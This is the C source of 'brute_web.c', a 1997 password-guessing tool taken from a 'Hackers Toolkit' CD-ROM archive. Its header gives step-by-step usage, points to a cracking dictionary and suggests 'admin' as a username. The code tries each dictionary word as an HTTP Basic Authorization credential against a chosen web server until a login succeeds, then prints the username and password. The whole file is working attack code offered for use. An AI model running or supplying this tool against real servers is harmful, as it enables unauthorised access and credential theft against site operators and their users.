home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Unix
/
c-src
/
brute_web.c
< prev
next >
Wrap
C/C++ Source or Header
|
1999-11-04
|
12KB
|
513 lines
/*
*
*
* Brute Force your way into a Web Server.
* -Works best on computers in the same subnet :-)
* Coded by BeastMaster V on April 24, 1997.
* Email questions or comments to:
* bryan@scott.net
*
* In order to use this:
* 1) Get a dictionary file.
* http://www.rootshell.com/hacking/crack_dict.txt.gz
* 2) Compile this program, and run it. The arguments are-
* username dictfile hostname port
* << most websites have 'admin' as a user >>
* 3) Wait for user name and password to appear.
*
* NOTE: If you want to see the webserver's response,
* define VERBOSE when compiling.
*
* WARNING: If the webserver logs, it will
* be obvious that you are attacking!
*
* DISCLAIMER: Please use this program in a
* responsible manner.
*
*/
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <termio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/errno.h>
extern int errno;
/* Change this to whatever document you want to get off the web server */
#define DEFAULT_DOCUMENT "/"
char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
"0123456789+/";
unsigned char buf_64[512];
unsigned short socket_timeout=20;
char line[2048];
enum TOKENTYPE { NONE, BLANKS, PUNCT, TAG, NAME, CONTENT };
struct TOKEN {
char *text;
int length;
int index;
enum TOKENTYPE type;
};
struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};
int read_dict_file ( char *buff, FILE *f )
{
int b, i;
*buff = 0;
do {
while ((b = fgetc(f)) != EOF && (b == ' ' || b == '\t' || b == '\n' || b == '\r'));
if ( b == EOF ) return(0);
for ( i = 0; b != EOF && b != '\n' && b != '\r'; i++ )
{
buff[i] = (b == '\t') ? ' ': b;
b = fgetc(f);
}
buff[i] = 0;
}
while (*buff == '#');
return(1);
}
void (*
r_signal(sig, func, fd_socket, fd_accept)) (int)
int sig;
void (*func) ();
int fd_socket;
int fd_accept;
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif
if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);
return (oact.sa_handler);
}
/* Read 'n' bytes from a descriptor */
int readn(fd, ptr, nbytes)
register int fd;
register char *ptr;
register int nbytes;
{
int nleft, nread;
nleft=nbytes;
while(nleft > 0) {
nread=read(fd,ptr,nleft);
if (nread<0)
return(nread);
else if (nread==0)
break;
nleft -=nread;
ptr +=nread;
}
return(nbytes-nleft);
}
/* Write 'n' bytes to a descriptor */
int writen(fd, ptr, nbytes)
register int fd;
register char *ptr;
register int nbytes;
{
int nleft, nwritten;
nleft=nbytes;
while(nleft > 0) {
nwritten=write(fd, ptr, nleft);
if(nwritten <= 0)
return(nwritten);
nleft -= nwritten;
ptr += nwritten;
}
return(nbytes-nleft);
}
char * dateTime()
{
time_t t;
char * s;
time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}
void handle_SIGSEGV (void)
{
fprintf(stderr, "\nSegmentation Violation! [%s]\n", dateTime());
exit(1);
}
void handle_SIGINT (void)
{
fprintf(stderr, "\nSignal Interrupt! [%s]\n", dateTime());
exit(1);
}
void sendln(int s, char buf[1024]) {
writen(s, buf, strlen(buf), 0);
}
int readln(int s)
{
int i,done=0,w, result;
char tmp[1];
struct timeval timeout;
fd_set inputs;
sprintf(line,"");
i = 0;
while (!done) {
FD_ZERO(&inputs);
FD_SET(s, &inputs);
timeout.tv_sec = socket_timeout;
timeout.tv_usec = 0;
result = select(FD_SETSIZE, &inputs,(fd_set *)0, (fd_set *)0,
&timeout);
switch(result) {
case 0:
printf("\n\nSocket Timeout\n");
exit(1);
break;
case -1:
perror("select");
exit(1);
break;
default:
w=readn(s ,tmp, 1);
break;
}
if (w==0) return 0;
if (tmp[0] != 0) {
line[i] = tmp[0];
}
if (line[i] == '\n') {
done = 1;
}
i++;
}
line[i] = 0;
return (i);
}
/* Code to call out on a socket */
int call_socket(hostname, portnum)
char *hostname;
u_short portnum;
{
struct sockaddr_in sa;
struct hostent *hp;
int a, s, foo=1;
if ((hp= gethostbyname(hostname)) == NULL) { /* do we know the host's */
errno= ECONNREFUSED; /* address? */
return(-1); /* no */
}
bzero(&sa,sizeof(sa));
bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); /* set address */
sa.sin_family= hp->h_addrtype;
sa.sin_port= htons((u_short)portnum);
if ((s= socket(hp->h_addrtype,SOCK_STREAM,0)) < 0) /* get socket */
return(-1);
#ifdef SOCKET_OPTS
/* set socket options so we can try multiple connects */
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *)&foo, sizeof(foo)) ==-1) {
fprintf(stderr, "Error setting SO_REUSEADDR socket option in call_socket!\n");
fflush((FILE *)stderr);
exit(1);
}
#endif
if (connect(s,(struct sockaddr *)&sa,sizeof sa) < 0) { /* connect */
perror("connect failed");
exit(1);
}
return(s);
}
int base64_encode( int quit, struct BASE64_PARAMS *e_p,
char *string_to_encode )
{
int index;
unsigned long int value;
unsigned char blivit;
int z=0;
index = 0;
while ( ( *(string_to_encode+z) ) || (e_p->shift != 0) )
{
if ( ( *(string_to_encode+z) ) && ( quit == 0 ) )
{
blivit = *(string_to_encode +z);
z++;
if ( *(string_to_encode+z)==0 )
{
quit = 1;
e_p->save_shift = e_p->shift;
blivit = 0;
}
}
else
{
quit = 1;
e_p->save_shift = e_p->shift;
blivit = 0;
}
if ( (quit == 0) || (e_p->shift != 0) )
{
value = (unsigned long)blivit;
e_p->accum <<= 8;
e_p->shift += 8;
e_p->accum |= value;
} /* ENDIF */
while ( e_p->shift >= 6 )
{
e_p->shift -= 6;
value = (e_p->accum >> e_p->shift) & 0x3Fl;
blivit = alphabet[value];
buf_64[index++] = blivit;
if ( index >= 60 )
{
buf_64[index] = '\0';
/* printf( "%s\n", buf_64 ); */
index = 0;
}
if ( quit != 0 )
{
e_p->shift = 0;
}
}
}
if ( e_p->save_shift == 2 )
{
buf_64[index++] = '=';
if ( index >= 60 )
{
buf_64[index] = '\0';
/* printf( "%s\n", buf_64 ); */
index = 0;
}
buf_64[index++] = '=';
if ( index >= 60 )
{
buf_64[index] = '\0';
/* printf( "%s\n", buf_64 ); */
index = 0;
}
}
else if ( e_p->save_shift == 4 )
{
buf_64[index++] = '=';
if ( index >= 60 )
{
buf_64[index] = '\0';
/* printf( "%s\n", buf_64 ); */
index = 0;
}
}
if ( index != 0 )
{
/* buf_64[index-1]='='; */
buf_64[index] = '\0';
/* printf( "%s\n", buf_64 ); */
}
return quit;
}
void encode_string (char *namepass)
{
struct BASE64_PARAMS e_p;
int quit=0;
register int i;
char * some;
e_p.shift = 0;
e_p.accum = 0;
some=(char *)malloc(256);
/* Nasty hack (forgive the lame coding...) */
some = (char *)namepass;
for (i=0;*(some+i);i++);
*(some+i)=*(some+i-1);
*(some+i+1)='\0';
base64_encode(quit, &e_p, (char *)some);
}
void sorry (void)
{
printf("\nSorry, but I could not get in.\n");
printf("There are two reasons why:\n");
printf("1) The user (argv[1]) does not exist on the webserver.\n");
printf("2) The user exists, but his/her passwd was not in your dict_file.\n");
printf("Have a Nice Day. :-)\n\n");
exit(0);
}
void usage(char *prog_name)
{
printf("\nUsage: ");
printf("[%s] username dictfile hostname port\n", prog_name);
printf("\n");
exit(0);
}
int main ( argc, argv )
unsigned int argc;
char **argv;
{
FILE * dict_fd=NULL;
struct hostent *hp;
unsigned short web_port=0;
int sock_fd=0;
char * dict_word=NULL;
char export_buff[1024];
char * encoded_buffer=NULL;
unsigned short finish_flag=1, success=0;
int foo;
if ( argc !=5 )
usage(argv[0]);
r_signal(SIGSEGV, handle_SIGSEGV);
r_signal(SIGINT, handle_SIGINT);
dict_word= (char *)malloc (256);
if ((dict_fd=fopen(argv[2], "r"))==NULL ) {
fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n",
argv[2], strerror(errno));
exit(1);
}
if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) {
fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]);
exit(1);
}
web_port = atoi(argv[4]);
encoded_buffer=(char *)malloc(512);
while (read_dict_file(dict_word, dict_fd)) {
if ((sock_fd=call_socket(argv[3], web_port))==-1) {
perror("socket connection");
exit(1);
}
#ifndef SOLARIS
if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) {
perror("ioctl");
exit(1);
}
#else
if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) {
perror("ioctl");
exit(1);
}
#endif
sprintf(export_buff, "GET / HTTP/1.0\n");
sendln(sock_fd, export_buff);
sprintf(encoded_buffer, "%s:%s", argv[1], dict_word);
encode_string(encoded_buffer);
sprintf(export_buff, "Authorization: Basic %s\n\n", buf_64);
sendln(sock_fd, export_buff);
memset(line, '\0', sizeof(line));
while( readln(sock_fd)) {
#ifdef VERBOSE
printf("%s", line);
fflush((FILE *)stdout);
#endif
/* Change this to a more sophisticated test. */
/* This test is pretty lame, but works for */
/* all practical purposes. */
if (strstr(line, "nauthorized"))
finish_flag=0;
}
if (finish_flag) {
close(sock_fd);
finish_flag=1;
success=1;
break;
}
finish_flag=1;
close(sock_fd);
}
fclose(dict_fd);
if (!success)
sorry();
else {
printf("\n\nThe UserName is: %s\n", argv[1]);
printf("The Password is: %s\n", dict_word);
printf("\n\n\n ---- Coded by BeastMaster V ----\n");
exit(0);
}
}